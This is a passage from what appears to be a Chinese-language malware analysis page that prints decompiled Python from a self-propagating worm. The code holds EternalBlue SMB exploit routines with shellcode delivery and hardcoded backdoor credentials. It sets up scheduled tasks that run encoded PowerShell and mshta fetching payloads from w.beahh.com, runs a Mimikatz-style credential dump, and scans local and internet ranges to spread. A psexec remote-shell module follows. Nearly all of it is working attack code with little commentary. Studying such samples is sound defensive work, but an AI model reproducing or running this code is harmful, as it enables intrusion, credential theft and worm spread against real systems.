sessionSetup = smb . SMBCommand ( smb . SMB . SMB_COM_SESSION_SETUP_ANDX )
sessionSetup [ 'Parameters' ] = smb . SMBSessionSetupAndX_Extended_Parameters ()
sessionSetup [ 'Parameters' ][ 'MaxBufferSize' ] = 61440
sessionSetup [ 'Parameters' ][ 'MaxMpxCount' ] = 2
sessionSetup [ 'Parameters' ][ 'VcNumber' ] = 2
sessionSetup [ 'Parameters' ][ 'SessionKey' ] = 0
sessionSetup [ 'Parameters' ][ 'SecurityBlobLength' ] = 0
sessionSetup [ 'Parameters' ][ 'Capabilities' ] = smb . SMB . CAP_EXTENDED_SECURITY
sessionSetup [ 'Data' ] = pack ( '<H' , reqSize ) + ' \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 '
pkt . addCommand ( sessionSetup )
conn . sendSMB ( pkt )
recvPkt = conn . recvSMB ()
if recvPkt . getNTStatus () == 0 :
print 'SMB1 session setup allocate nonpaged pool success'
else :
print 'SMB1 session setup allocate nonpaged pool failed'
return conn
class SMBTransaction2Secondary_Parameters_Fixed ( smb . SMBCommand_Parameters ):
structure = (
( 'TotalParameterCount' , '<H=0' ), ( 'TotalDataCount' , '<H' ), ( 'ParameterCount' , '<H=0' ), ( 'ParameterOffset' , '<H=0' ), ( 'ParameterDisplacement' , '<H=0' ), ( 'DataCount' , '<H' ), ( 'DataOffset' , '<H' ), ( 'DataDisplacement' , '<H=0' ), ( 'FID' , '<H=0' ))
def send_trans2_second ( conn , tid , data , displacement ):
pkt = smb . NewSMBPacket ()
pkt [ 'Tid' ] = tid
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_TRANSACTION2_SECONDARY )
transCommand [ 'Parameters' ] = SMBTransaction2Secondary_Parameters_Fixed ()
transCommand [ 'Data' ] = smb . SMBTransaction2Secondary_Data ()
transCommand [ 'Parameters' ][ 'TotalParameterCount' ] = 0
transCommand [ 'Parameters' ][ 'TotalDataCount' ] = len ( data )
fixedOffset = 53
transCommand [ 'Data' ][ 'Pad1' ] = ''
transCommand [ 'Parameters' ][ 'ParameterCount' ] = 0
transCommand [ 'Parameters' ][ 'ParameterOffset' ] = 0
if len ( data ) > 0 :
pad2Len = ( 4 - fixedOffset % 4 ) % 4
transCommand [ 'Data' ][ 'Pad2' ] = ' \xff ' * pad2Len
else :
transCommand [ 'Data' ][ 'Pad2' ] = ''
pad2Len = 0
transCommand [ 'Parameters' ][ 'DataCount' ] = len ( data )
transCommand [ 'Parameters' ][ 'DataOffset' ] = fixedOffset + pad2Len
transCommand [ 'Parameters' ][ 'DataDisplacement' ] = displacement
transCommand [ 'Data' ][ 'Trans_Parameters' ] = ''
transCommand [ 'Data' ][ 'Trans_Data' ] = data
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
def send_big_trans2 ( conn , tid , setup , data , param , firstDataFragmentSize , sendLastChunk = True ):
pkt = smb . NewSMBPacket ()
pkt [ 'Tid' ] = tid
command = pack ( '<H' , setup )
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_NT_TRANSACT )
transCommand [ 'Parameters' ] = smb . SMBNTTransaction_Parameters ()
transCommand [ 'Parameters' ][ 'MaxSetupCount' ] = 1
transCommand [ 'Parameters' ][ 'MaxParameterCount' ] = len ( param )
transCommand [ 'Parameters' ][ 'MaxDataCount' ] = 0
transCommand [ 'Data' ] = smb . SMBTransaction2_Data ()
transCommand [ 'Parameters' ][ 'Setup' ] = command
transCommand [ 'Parameters' ][ 'TotalParameterCount' ] = len ( param )
transCommand [ 'Parameters' ][ 'TotalDataCount' ] = len ( data )
fixedOffset = 73 + len ( command )
if len ( param ) > 0 :
padLen = ( 4 - fixedOffset % 4 ) % 4
padBytes = ' \xff ' * padLen
transCommand [ 'Data' ][ 'Pad1' ] = padBytes
else :
transCommand [ 'Data' ][ 'Pad1' ] = ''
padLen = 0
transCommand [ 'Parameters' ][ 'ParameterCount' ] = len ( param )
transCommand [ 'Parameters' ][ 'ParameterOffset' ] = fixedOffset + padLen
if len ( data ) > 0 :
pad2Len = ( 4 - ( fixedOffset + padLen + len ( param )) % 4 ) % 4
transCommand [ 'Data' ][ 'Pad2' ] = ' \xff ' * pad2Len
else :
transCommand [ 'Data' ][ 'Pad2' ] = ''
pad2Len = 0
transCommand [ 'Parameters' ][ 'DataCount' ] = firstDataFragmentSize
transCommand [ 'Parameters' ][ 'DataOffset' ] = transCommand [ 'Parameters' ][ 'ParameterOffset' ] + len ( param ) + pad2Len
transCommand [ 'Data' ][ 'Trans_Parameters' ] = param
transCommand [ 'Data' ][ 'Trans_Data' ] = data [: firstDataFragmentSize ]
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
conn . recvSMB ()
i = firstDataFragmentSize
while i < len ( data ):
sendSize = min ( 4096 , len ( data ) - i )
if len ( data ) - i <= 4096 :
if not sendLastChunk :
break
send_trans2_second ( conn , tid , data [ i : i + sendSize ], i )
i += sendSize
if sendLastChunk :
conn . recvSMB ()
return i
def createConnectionWithBigSMBFirst80 ( target ):
sk = socket . create_connection (( target , 445 ))
pkt = ' \x00\x00 ' + pack ( '>H' , 65527 )
pkt += 'BAAD'
pkt += ' \x00 ' * 124
sk . send ( pkt )
return sk
lock2 = threading . Lock ()
def exploit2 ( target , shellcode , numGroomConn ):
global lock2
lock2 . acquire ()
conn = smb . SMB ( target , target )
conn . login_standard ( '' , '' )
server_os = conn . get_server_os ()
print 'Target OS: ' + server_os
if not ( server_os . startswith ( 'Windows 7 ' ) or server_os . startswith ( 'Windows Server ' ) and ' 2008 ' in server_os or server_os . startswith ( 'Windows Vista' )):
print 'This exploit does not support this target'
tid = conn . tree_connect_andx ( ' \\\\ ' + target + ' \\ ' + 'IPC$' )
progress = send_big_trans2 ( conn , tid , 0 , feaList , ' \x00 ' * 30 , 2000 , False )
allocConn = createSessionAllocNonPaged ( target , NTFEA_SIZE - 4112 )
srvnetConn = []
for i in range ( numGroomConn ):
sk = createConnectionWithBigSMBFirst80 ( target )
srvnetConn . append ( sk )
holeConn = createSessionAllocNonPaged ( target , NTFEA_SIZE - 16 )
allocConn . get_socket () . close ()
for i in range ( 5 ):
sk = createConnectionWithBigSMBFirst80 ( target )
srvnetConn . append ( sk )
holeConn . get_socket () . close ()
send_trans2_second ( conn , tid , feaList [ progress :], progress )
recvPkt = conn . recvSMB ()
retStatus = recvPkt . getNTStatus ()
if retStatus == 3221225485 L :
print 'good response status: INVALID_PARAMETER'
else :
print ( 'bad response status: 0x {:08x} ' ) . format ( retStatus )
for sk in srvnetConn :
sk . send ( fake_recv_struct + shellcode )
for sk in srvnetConn :
sk . close ()
conn . disconnect_tree ( tid )
conn . logoff ()
conn . get_socket () . close ()
time . sleep ( 2 )
lock2 . release ()
lock3 = threading . Lock ()
def exploit3 ( target , shellcode , numGroomConn1 ):
global lock3
lock3 . acquire ()
conn3 = smb . SMB ( target , target )
conn3 . login_standard ( '' , '' )
server_os3 = conn3 . get_server_os ()
print 'Target OS: ' + server_os3
if not ( server_os3 . startswith ( 'Windows 7 ' ) or server_os3 . startswith ( 'Windows Server ' ) and ' 2008 ' in server_os3 or server_os3 . startswith ( 'Windows Vista' )):
print 'This exploit does not support this target'
tid3 = conn3 . tree_connect_andx ( ' \\\\ ' + target + ' \\ ' + 'IPC$' )
progress3 = send_big_trans2 ( conn3 , tid3 , 0 , feaList , ' \x00 ' * 30 , 2000 , False )
allocConn3 = createSessionAllocNonPaged ( target , NTFEA_SIZE - 4112 )
srvnetConn3 = []
for i in range ( numGroomConn1 ):
sk3 = createConnectionWithBigSMBFirst80 ( target )
srvnetConn3 . append ( sk3 )
holeConn3 = createSessionAllocNonPaged ( target , NTFEA_SIZE - 16 )
allocConn3 . get_socket () . close ()
for i in range ( 5 ):
sk3 = createConnectionWithBigSMBFirst80 ( target )
srvnetConn3 . append ( sk3 )
holeConn3 . get_socket () . close ()
send_trans2_second ( conn3 , tid3 , feaList [ progress3 :], progress3 )
recvPkt3 = conn3 . recvSMB ()
retStatus3 = recvPkt3 . getNTStatus ()
if retStatus3 == 3221225485 L :
print 'good response status: INVALID_PARAMETER'
else :
print ( 'bad response status: 0x {:08x} ' ) . format ( retStatus3 )
for sk3 in srvnetConn3 :
sk3 . send ( fake_recv_struct + shellcode )
for sk3 in srvnetConn3 :
sk3 . close ()
conn3 . disconnect_tree ( tid3 )
conn3 . logoff ()
conn3 . get_socket () . close ()
time . sleep ( 2 )
lock3 . release ()
NEGOTIATE_PROTOCOL_REQUEST = binascii . unhexlify ( '00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200' )
SESSION_SETUP_REQUEST = binascii . unhexlify ( '00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000' )
TREE_CONNECT_REQUEST = binascii . unhexlify ( '00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00' )
NAMED_PIPE_TRANS_REQUEST = binascii . unhexlify ( '0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00' )
timeout = 1
verbose = 0
threads_num = 255
if 'Windows-XP' in platform . platform ():
timeout = 1
threads_num = 2
semaphore1 = threading . BoundedSemaphore ( value = 2 )
semaphore = threading . BoundedSemaphore ( value = 2 )
semaphore2 = threading . BoundedSemaphore ( value = 2 )
else :
semaphore1 = threading . BoundedSemaphore ( value = 255 )
semaphore = threading . BoundedSemaphore ( value = threads_num )
semaphore2 = threading . BoundedSemaphore ( value = 100 )
print_lock = threading . Lock ()
def print_status ( ip , message ):
global print_lock
with print_lock :
print '[*] [ %s ] %s ' % ( ip , message )
def check_ip ( ip , tg ):
global verbose
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( timeout ) if timeout else None )
host = ip
port = 445
s . connect (( host , port ))
if verbose :
print_status ( ip , 'Sending negotiation protocol request' )
s . send ( NEGOTIATE_PROTOCOL_REQUEST )
negotiate_reply = s . recv ( 1024 )
if len ( negotiate_reply ) < 36 or struct . unpack ( '<I' , negotiate_reply [ 9 : 13 ])[ 0 ] != 0 :
with print_lock :
print "[-] [ %s ] can't determine whether it's vulunerable" % ip
return
if verbose :
print_status ( ip , 'Sending session setup request' )
s . send ( SESSION_SETUP_REQUEST )
session_setup_response = s . recv ( 1024 )
user_id = session_setup_response [ 32 : 34 ]
if verbose :
print_st ( ip , 'User ID = %s ' % struct . unpack ( '<H' , user_id )[ 0 ])
os = ''
word_count = ord ( session_setup_response [ 36 ])
if word_count != 0 :
byte_count = struct . unpack ( '<H' , session_setup_response [ 43 : 45 ])[ 0 ]
if len ( session_setup_response ) != byte_count + 45 :
print_status ( 'invalid session setup AndX response' )
else :
for i in range ( 46 , len ( session_setup_response ) - 1 ):
if ord ( session_setup_response [ i ]) == 0 and ord ( session_setup_response [ i + 1 ]) == 0 :
os = session_setup_response [ 46 : i ] . decode ( 'utf-8' )[:: 2 ]
break
modified_tree_connect_request = list ( TREE_CONNECT_REQUEST )
modified_tree_connect_request [ 32 ] = user_id [ 0 ]
modified_tree_connect_request [ 33 ] = user_id [ 1 ]
modified_tree_connect_request = ( '' ) . join ( modified_tree_connect_request )
if verbose :
print_status ( ip , 'Sending tree connect' )
s . send ( modified_tree_connect_request )
tree_connect_response = s . recv ( 1024 )
tree_id = tree_connect_response [ 28 : 30 ]
if verbose :
print_status ( ip , 'Tree ID = %s ' % struct . unpack ( '<H' , tree_id )[ 0 ])
modified_trans2_session_setup = list ( NAMED_PIPE_TRANS_REQUEST )
modified_trans2_session_setup [ 28 ] = tree_id [ 0 ]
modified_trans2_session_setup [ 29 ] = tree_id [ 1 ]
modified_trans2_session_setup [ 32 ] = user_id [ 0 ]
modified_trans2_session_setup [ 33 ] = user_id [ 1 ]
modified_trans2_session_setup = ( '' ) . join ( modified_trans2_session_setup )
if verbose :
print_status ( ip , 'Sending named pipe' )
s . send ( modified_trans2_session_setup )
final_response = s . recv ( 1024 )
if final_response [ 9 ] == ' \x05 ' and final_response [ 10 ] == ' \x02 ' and final_response [ 11 ] == ' \x00 ' and final_response [ 12 ] == ' \xc0 ' :
print '[+] [ %s ]( %s ) got it!' % ( ip , os )
if 'Windows 7' in os :
if scan ( ip , 65533 ) == 0 :
print '[+] exploit...' + ip + ' win7'
try :
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user'
try :
exploit2 ( ip , sc , int ( random . randint ( 5 , 13 )))
try :
print 'exp again '
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user2'
lock2 . release ()
except :
print '[*] maybe crash'
time . sleep ( 6 )
try :
print 'exp again '
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user3'
lock2 . release ()
elif 'Windows Server 2008' in os :
if scan ( ip , 65533 ) == 0 :
print '[+] exploit...' + ip + ' win2k8'
try :
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user'
try :
exploit3 ( ip , sc , int ( random . randint ( 5 , 13 )))
try :
print 'exp again '
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user 2'
lock3 . release ()
except :
print '[*] maybe crash'
time . sleep ( 6 )
try :
print 'exp again '
exploit ( ip , None , 'k8h3d' , 'k8d3j9SjfS7' , tg )
except :
print 'no user 3'
lock3 . release ()
if 'Windows 5.1' in os :
if scan ( ip , 65533 ) == 0 :
print '[+] exploit...' + ip + ' xp'
try :
exploit ( ip , None , '' , '' , tg )
except :
print 'not succ'
elif 'Windows Server 2003' in os :
if scan ( ip , 65533 ) == 0 :
print '[+] exploit...' + ip + ' win2k3'
try :
exploit ( ip , None , '' , '' , tg )
except :
print 'not succ'
elif scan ( ip , 65533 ) == 0 :
print '[+] exploit...' + ip + ' *************************other os'
for u in userlist :
for p in passlist :
if u == '' and p != '' :
continue
try :
exploit ( ip , None , u , p , tg )
except :
print 'exp not succ!'
else :
print '[-] [ %s ]( %s ) stays in safety' % ( ip , os )
s . close ()
def check_thread ( ip_address ):
global semaphore
try :
try :
check_ip ( ip_address , tg = 1 )
except Exception as e :
with print_lock :
tmp = 2
finally :
semaphore . release ()
def check_thread2 ( ip_address ):
try :
try :
check_ip ( ip_address , tg = 2 )
except Exception as e :
with print_lock :
tmp = 2
finally :
semaphore . release ()
one = 1
try :
h_one = socket . socket ()
addr = ( '' , 60124 )
h_one . bind ( addr )
one = 1
except :
one = 2
if one == 2 :
print 'alredy run eb'
sys . exit ()
usr = subprocess . Popen ( 'cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445' , stdout = subprocess . PIPE )
dusr = usr . stdout . read ()
if 'k8h3d' in dusr :
usr = subprocess . Popen ( 'cmd /c net user k8h3d /del' , stdout = subprocess . PIPE )
dl = ''
ee2 = ''
if os . path . exists ( 'c:/windows/system32/svhost.exe' ):
dl = 'c: \\ windows \\ system32 \\ svhost.exe'
if os . path . exists ( 'c:/windows/SysWOW64/svhost.exe' ):
dl = 'c: \\ windows \\ SysWOW64 \\ svhost.exe'
if os . path . exists ( 'c:/windows/system32/drivers/svchost.exe' ):
dl = 'c: \\ windows \\ system32 \\ drivers \\ svchost.exe'
if os . path . exists ( 'c:/windows/SysWOW64/drivers/svchost.exe' ):
dl = 'c: \\ windows \\ SysWOW64 \\ drivers \\ svchost.exe'
if os . path . exists ( 'c:/windows/temp/svvhost.exe' ):
ee2 = 'c: \\ windows \\ temp \\ svvhost.exe'
if os . path . exists ( 'c:/windows/temp/svchost.exe' ):
ee2 = 'c: \\ windows \\ temp \\ svchost.exe'
if os . path . exists ( 'C: \\ windows \\ system32 \\ WindowsPowerShell \\ ' ):
usr0 = subprocess . Popen ( 'cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C: \\ Windows \\ temp \\ svchost.exe" /F' , stdout = subprocess . PIPE )
usr1 = subprocess . Popen ( 'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F' , stdout = subprocess . PIPE )
def mmka ():
global domainlist
global passlist
global userlist2
if os . path . exists ( 'C: \\ windows \\ system32 \\ WindowsPowerShell \\ ' ):
if os . path . exists ( 'c:/windows/temp/m.ps1' ):
if os . path . exists ( 'c:/windows/temp/mkatz.ini' ):
print 'mkatz.ini exist'
mtime = os . path . getmtime ( 'c: \\ windows \\ temp \\ mkatz.ini' )
mnow = int ( time . time ())
if ( mnow - mtime ) / 60 / 60 < 24 :
musr = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'r' ) . read ()
else :
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os . environ :
usr = subprocess . Popen ( 'C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( 'powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
musr = usr . stdout . read ()
fmk = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'w' )
fmk . write ( musr )
fmk . close ()
else :
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os . environ :
usr = subprocess . Popen ( 'C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( 'powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
musr = usr . stdout . read ()
fmk = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'w' )
fmk . write ( musr )
fmk . close ()
else :
fm = open ( 'c: \\ windows \\ temp \\ m.ps1' , 'w' )
fm . write ( mkatz )
fm . close ()
if os . path . exists ( 'c:/windows/temp/mkatz.ini' ):
print 'mkatz.ini exist'
mtime = os . path . getmtime ( 'c: \\ windows \\ temp \\ mkatz.ini' )
mnow = int ( time . time ())
if ( mnow - mtime ) / 60 / 60 < 24 :
print 'reload mimi'
musr = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'r' ) . read ()
else :
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os . environ :
usr = subprocess . Popen ( 'C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( 'powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
musr = usr . stdout . read ()
fmk = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'w' )
fmk . write ( musr )
fmk . close ()
else :
print 'reload mimi'
if 'PROGRAMFILES(X86)' in os . environ :
usr = subprocess . Popen ( 'C: \\ Windows \\ SysNative \\ WindowsPowerShell \\ v1.0 \\ powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
else :
usr = subprocess . Popen ( 'powershell.exe -exec bypass "import-module c: \\ windows \\ temp \\ m.ps1;Invoke-Cats -pwds"' , stdout = subprocess . PIPE )
musr = usr . stdout . read ()
fmk = open ( 'c: \\ windows \\ temp \\ mkatz.ini' , 'w' )
fmk . write ( musr )
fmk . close ()
else :
usr3 = subprocess . Popen ( 'cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck)' , stdout = subprocess . PIPE )
usr4 = subprocess . Popen ( 'cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "C: \\ Windows \\ temp \\ svchost.exe"&schtasks /run /TN Autoscan)' , stdout = subprocess . PIPE )
print 'mimi over'
usern = ''
lmhash = ''
nthash = ''
tspkg = ''
wdigest = ''
kerberos = ''
domain = ''
usernull = ''
try :
dousr = subprocess . Popen ( 'cmd /c wmic ntdomain get domainname' , stdout = subprocess . PIPE )
domianusr = dousr . stdout . read ()
dousr = subprocess . Popen ( 'cmd /c net user' , stdout = subprocess . PIPE )
luser = dousr . stdout . read () . split ( ' \r\n ' )[: - 3 ]
for c in luser :
if '-' in c :
continue
for j in c . split ( ' ' ):
if '' == j :
continue
if 'Guest' == j :
continue
userlist2 . append ( j . strip ())
if '* LM' in musr :
mmlist = musr . split ( '* LM' )
del mmlist [ 0 ]
for i in mmlist :
domaint = i . split ( 'Domain :' )[ 1 ] . split ( ' \n ' )[ 0 ] . strip ()
if domaint in domianusr :
domainlist . append ( domaint )
for ii in i . split ( 'Authentication' )[ 0 ] . split ( 'Username :' )[ 1 :]:
unt = ii . split ( ' \n ' )[ 0 ] . strip ()
userlist2 . append ( unt )
for ii in i . split ( 'Authentication' )[ 0 ] . split ( 'Password :' )[ 1 :]:
pwdt = ii . split ( ' \n ' )[ 0 ] . strip ()
if pwdt != '(null)' :
passlist . append ( pwdt )
passlist = list ( set ( passlist ))
userlist2 = list ( set ( userlist2 ))
domainlist = list ( set ( domainlist ))
else :
print 'nobody logon'
if '* NTLM' in musr :
mmlist = musr . split ( '* NTLM' )
del mmlist [ 0 ]
for i in mmlist :
NThash = i . split ( ':' )[ 1 ] . split ( ' \n ' )[ 0 ] . strip ()
ntlist . append ( NThash )
except :
print 'except'
mmka ()
var = 1
while var == 1 :
print 'start scan'
if '.exe' in dl :
for network in find_ip ():
print network
ip , cidr = network . split ( '/' )
cidr = int ( cidr )
host_bits = 32 - cidr
i = struct . unpack ( '>I' , socket . inet_aton ( ip ))[ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ):
semaphore1 . acquire ()
ip = socket . inet_ntoa ( struct . pack ( '>I' , i ))
t1 = threading . Thread ( target = scansmb , args = ( ip , 445 ))
t1 . start ()
time . sleep ( 1 )
print 'smb over sleep 200s'
time . sleep ( 5 )
if 'Windows-XP' in platform . platform ():
time . sleep ( 1000 )
else :
print 'start scan2'
if '.exe' in dl :
for network in iplist2 :
ip , cidr = network . split ( '/' )
if ip . split ( '.' )[ 0 ] . strip () == '192' :
continue
if ip . split ( '.' )[ 0 ] . strip () == '127' :
continue
if ip . split ( '.' )[ 0 ] . strip () == '10' :
continue
if ip . split ( '.' )[ 0 ] . strip () == '0' :
continue
if ip . split ( '.' )[ 0 ] . strip () == '100' :
continue
if ip . split ( '.' )[ 0 ] . strip () == '172' :
continue
if int ( ip . split ( '.' )[ 0 ] . strip ()) in xrange ( 224 , 256 ):
continue
print network
cidr = int ( cidr )
host_bits = 32 - 16
i = struct . unpack ( '>I' , socket . inet_aton ( ip ))[ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ):
semaphore2 . acquire ()
ip = socket . inet_ntoa ( struct . pack ( '>I' , i ))
t1 = threading . Thread ( target = scansmb3 , args = ( ip , 445 ))
t1 . start ()
time . sleep ( 1 )
print 'smb over sleep 200s'
time . sleep ( 5 )
print 'eb2 internet'
for s in xip ( 500 ):
if s . split ( '.' )[ 0 ] . strip () == '127' :
continue
if s . split ( '.' )[ 0 ] . strip () == '10' :
continue
if s . split ( '.' )[ 0 ] . strip () == '0' :
continue
if s . split ( '.' )[ 0 ] . strip () == '100' :
continue
if s . split ( '.' )[ 0 ] . strip () == '172' :
continue
if int ( s . split ( '.' )[ 0 ] . strip ()) in xrange ( 224 , 256 ):
continue
print s
ip , cidr = s . split ( '/' )
cidr = int ( cidr )
host_bits = 32 - cidr
i = struct . unpack ( '>I' , socket . inet_aton ( ip ))[ 0 ]
start = i >> host_bits << host_bits
end = i | ( 1 << host_bits ) - 1
for i in range ( start + 1 , end ):
semaphore1 . acquire ()
ip = socket . inet_ntoa ( struct . pack ( '>I' , i ))
t1 = threading . Thread ( target = scansmb2 , args = ( ip , 445 ))
t1 . start ()
time . sleep ( 2 )
print 'eb2 over'
print 'sleep 10min'
time . sleep ( 5 )
mmka ()
# global h_one ## Warning: Unused global
```
2025-04-10 01:19:10 +00:00
</details>
2024-11-02 12:32:13 +00:00
里面有两个不是公开的库,mysmb和psexec,其中mysmb看起来是[永恒之蓝RCE中的代码 ](https://github.com/0xsyr0/OSCP/blob/main/exploits/CVE-2017-0144-EternalBlue-MS17-010-RCE/mysmb.py ),psexec有找到几个相似的但是没找到一样的,所以代码也放上来:
2025-04-09 17:31:38 +00:00
2025-04-10 01:19:10 +00:00
<details markdown="1">
<summary markdown="span">
Show Code
</summary>
2025-04-09 17:31:38 +00:00
2024-11-02 12:32:13 +00:00
```python
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: psexec.py
import sys , os , cmd , logging
from threading import Thread , Lock
import argparse , random , string , time
from impacket.examples import logger
from impacket import version , smb
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.examples import remcomsvc , serviceinstall
class RemComMessage ( Structure ):
structure = (
( 'Command' , '4096s=""' ),
( 'WorkingDir' , '260s=""' ),
( 'Priority' , '<L=0x20' ),
( 'ProcessID' , '<L=0x01' ),
( 'Machine' , '260s=""' ),
( 'NoWait' , '<L=0' ))
class RemComResponse ( Structure ):
structure = (
( 'ErrorCode' , '<L=0' ),
( 'ReturnCode' , '<L=0' ))
RemComSTDOUT = 'RemCom_stdout'
RemComSTDIN = 'RemCom_stdin'
RemComSTDERR = 'RemCom_stderr'
lock = Lock ()
class RemoteShell ( cmd . Cmd ):
def __init__ ( self , server , port , credentials , tid , fid , share , transport ):
cmd . Cmd . __init__ ( self , False )
self . prompt = ' \x08 '
self . server = server
self . transferClient = None
self . tid = tid
self . fid = fid
self . credentials = credentials
self . share = share
self . port = port
self . transport = transport
return
def connect_transferClient ( self ):
self . transferClient = SMBConnection ( '*SMBSERVER' , self . server . getRemoteHost (), sess_port = self . port , preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = self . credentials
if self . transport . get_kerberos () is True :
self . transferClient . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
self . transferClient . login ( user , passwd , domain , lm , nt )
def do_help ( self , line ):
print ' \n lcd {path} - changes the current local directory to {path} \n exit - terminates the server process (and this session) \n put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share ( %s ) \n get {file} - downloads pathname RELATIVE to the connected share ( %s ) to the current local dir \n ! {cmd} - executes a local shell cmd \n ' % ( self . share , self . share )
self . send_data ( ' \r\n ' , False )
def do_shell ( self , s ):
os . system ( s )
self . send_data ( ' \r\n ' )
def do_get ( self , src_path ):
try :
if self . transferClient is None :
self . connect_transferClient ()
import ntpath
filename = ntpath . basename ( src_path )
fh = open ( filename , 'wb' )
logging . info ( 'Downloading %s \\ %s ' % ( self . share , src_path ))
self . transferClient . getFile ( self . share , src_path , fh . write )
fh . close ()
except Exception as e :
logging . critical ( str ( e ))
self . send_data ( ' \r\n ' )
return
def do_put ( self , s ):
try :
if self . transferClient is None :
self . connect_transferClient ()
params = s . split ( ' ' )
if len ( params ) > 1 :
src_path = params [ 0 ]
dst_path = params [ 1 ]
elif len ( params ) == 1 :
src_path = params [ 0 ]
dst_path = '/'
src_file = os . path . basename ( src_path )
fh = open ( src_path , 'rb' )
f = dst_path + '/' + src_file
print '!!!!!!!!!!!!!!!!' + f
pathname = string . replace ( f , '/' , ' \\ ' )
logging . info ( 'Uploading1111111111 %s to %s \\ %s ' % ( src_file , self . share , dst_path ))
self . transferClient . putFile ( self . share , pathname . decode ( sys . stdin . encoding ), fh . read )
fh . close ()
except Exception as e :
logging . error ( str ( e ))
self . send_data ( ' \r\n ' )
return
def do_lcd ( self , s ):
if s == '' :
print os . getcwd ()
else :
os . chdir ( s )
self . send_data ( ' \r\n ' )
def emptyline ( self ):
self . send_data ( ' \r\n ' )
def default ( self , line ):
self . send_data ( line . decode ( sys . stdin . encoding ) . encode ( 'cp437' ) + ' \r\n ' )
def send_data ( self , data , hideOutput = True ):
